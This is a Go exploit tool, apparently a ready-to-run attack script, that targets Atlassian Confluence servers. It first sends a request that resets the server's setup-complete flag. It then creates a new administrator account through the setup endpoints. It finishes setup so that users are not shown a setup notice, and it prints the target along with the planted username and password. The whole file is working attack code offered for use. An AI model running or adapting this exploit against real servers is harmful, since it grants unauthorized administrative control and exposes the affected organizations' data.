package main

import (
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"net/url"
	"strings"
	"time"
)

var (
	TARGET   string
	USERNAME string
	PASSWORD string
	PROXY    string
)

func CheckproxyURL() *http.Client {
	var client *http.Client

	if PROXY != "" {
		proxyURL, _ := url.Parse(PROXY)
		client = &http.Client{
			Timeout: 10 * time.Second,
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return http.ErrUseLastResponse
			},
		}
		client.Transport = &http.Transport{
			Proxy:           http.ProxyURL(proxyURL),
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		}
	} else {
		client = &http.Client{
			Timeout: 10 * time.Second,
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return http.ErrUseLastResponse
			},
		}
		client.Transport = &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		}
	}
	return client
}

func Rangstr() string {
	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	rand.Seed(time.Now().UnixNano())
	b := make([]byte, 8)
	for i := range b {
		b[i] = charset[rand.Intn(len(charset))]
	}
	strs := strings.ToLower(string(b))
	return strs
}

func main() {
	flag.StringVar(&TARGET, "u", "", "指定目标")
	flag.StringVar(&USERNAME, "user", "", "指定要添加的用户名")
	flag.StringVar(&PASSWORD, "pass", "", "指定要添加的密码")
	flag.StringVar(&PROXY, "proxy", "", "设置代理")
	flag.Parse()
	if TARGET == "" {
		flag.Usage()
		return
	}
	if USERNAME == "" || PASSWORD == "" {
		USERNAME = Rangstr()
		PASSWORD = Rangstr() + "P123"
	}
	url1 := fmt.Sprintf("%s/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false", TARGET)
	req, _ := http.NewRequest("GET", url1, nil)
	client := CheckproxyURL()
	headers := map[string]string{
		"User-Agent":        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
		"Accept":            "*/*",
		"X-Atlassian-Token": "no-check",
		"Content-Length":    "123",
		"Content-Type":      "application/x-www-form-urlencoded",
		"Connection":        "close",
	}
	for key, value := range headers {
		req.Header.Set(key, value)
	}
	resp, err := client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	if resp.StatusCode == 200 && strings.Contains(string(body), "Confluence") {

		// 添加用户
		url2 := fmt.Sprintf("%s/setup/setupadministrator.action", TARGET)
		data := fmt.Sprintf("username=%s&fullName=%s&email=%s@localhost&password=%s&confirm=%s&setup-next-button=Next", USERNAME, USERNAME, USERNAME, PASSWORD, PASSWORD)
		req2, _ := http.NewRequest("POST", url2, strings.NewReader(data))
		for key, value := range headers {
			req2.Header.Set(key, value)
		}
		resp2, err := client.Do(req2)
		if err != nil {
			return
		}
		defer resp2.Body.Close()
		cookies := resp2.Header["Set-Cookie"]
		if resp2.StatusCode == 302 && len(cookies) >= 2 {
			url3 := fmt.Sprintf("%s/setup/finishsetup.action", TARGET)
			//避免向所有用户显示一条消息，表明设置已完成
			req3, _ := http.NewRequest("GET", url3, nil)
			for key, value := range headers {
				req3.Header.Set(key, value)
			}
			resp3, err := client.Do(req3)
			if err != nil {
				return
			}
			defer resp3.Body.Close()
			body3, _ := io.ReadAll(resp3.Body)
			if resp3.StatusCode == 200 && strings.Contains(string(body3), "Confluence") {
				fmt.Println("[+] Confluence存在漏洞 " + "地址: " + TARGET + "\t用户名: " + USERNAME + "\t密码: " + PASSWORD)
			}
		} else {
			fmt.Println("err 添加用户失败")
		}

	}
}
